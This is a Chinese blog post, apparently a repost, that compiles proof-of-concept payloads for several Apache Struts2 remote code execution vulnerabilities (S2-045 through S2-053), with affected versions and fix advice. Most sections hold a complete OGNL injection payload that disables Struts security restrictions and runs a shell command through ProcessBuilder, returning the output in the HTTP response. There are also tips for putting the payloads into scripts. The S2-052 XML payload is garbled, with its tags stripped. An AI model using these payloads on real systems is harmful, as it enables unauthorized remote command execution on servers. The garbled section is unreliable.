博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【中间件】Struts2系列漏洞POC小结
阅读量:5281 次
发布时间:2019-06-14

本文共 4327 字,大约阅读时间需要 14 分钟。

#Struts2-045'''CVE-2017-5638影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10触发条件:基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行利用方法:构造Content-type的值测试POC:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}修复建议:1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。2. 如果您使用基于Jakarta插件,请升级到最新版本。(强烈推荐)'''#struts2-046'''CVE-2017-5638影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 –Struts 2.5.10测试POC:Content-Length:10000000filenname="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"服务端返回500修复建议:1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)'''#Struts2-048 '''CVE-2017-979影响范围:Struts2 2.3.x触发条件:Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录触发参数:name测试POC:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}注意:写脚本时需要将payload进行url编码(常识)修复建议:1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));一定不要使用如下的方式messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));2、无奈解决方案:不启用struts2-struts1-plugin插件;3、根本解决方案:建议升级到最新版本'''#Struts2-052'''CVE-2017-9805影响范围:Struts 2.5 – Struts 2.5.12 漏洞描述:问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。利用条件:需要修改Content-Type: application/xml测试POC:
0
false
0
calc.exe
false
java.lang.ProcessBuilder
start
foo
foo
false
0
0
false
false
0
修复建议:1.建议尽快升级到最新版本;2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:
'''#Struts2-053'''CVE-2017-12611影响范围:Struts2 2.0.1 – Struts2 2.3.33,Struts2 2.5 – Struts2 2.5.10当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行,最后导致代码执行。触发条件:struts2框架、freemarker标签中使用错误的构造测试POC:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}注意:写脚本时需要将payload进行url编码(常识)修复建议:建议升级到最新版本'''

 

转载于:https://www.cnblogs.com/peterpan0707007/p/9046119.html

你可能感兴趣的文章
查看linux系统中占用cpu最高的语句
查看>>
[洛谷P1738]洛谷的文件夹
查看>>
ubuntu server设置时区和更新时间
查看>>
【京东咚咚架构演进】-- 好文收藏
查看>>
【HTML】网页中如何让DIV在网页滚动到特定位置时出现
查看>>
文件序列化
查看>>
jQuery之end()和pushStack()
查看>>
Bootstrap--响应式导航条布局
查看>>
Learning Python 009 dict(字典)和 set
查看>>
JavaScript中随着鼠标拖拽而移动的块
查看>>
HDU 1021 一道水题
查看>>
The operation couldn’t be completed. (LaunchServicesError error 0.)
查看>>
php每天一题:strlen()与mb_strlen()的作用分别是什么
查看>>
工作中收集JSCRIPT代码之(下拉框篇)
查看>>
《转载》POI导出excel日期格式
查看>>
code异常处理
查看>>
git - 搭建最简单的git server
查看>>
会话控制
查看>>
推荐一款UI设计软件Balsamiq Mockups
查看>>
Linux crontab 命令格式与详细例子
查看>>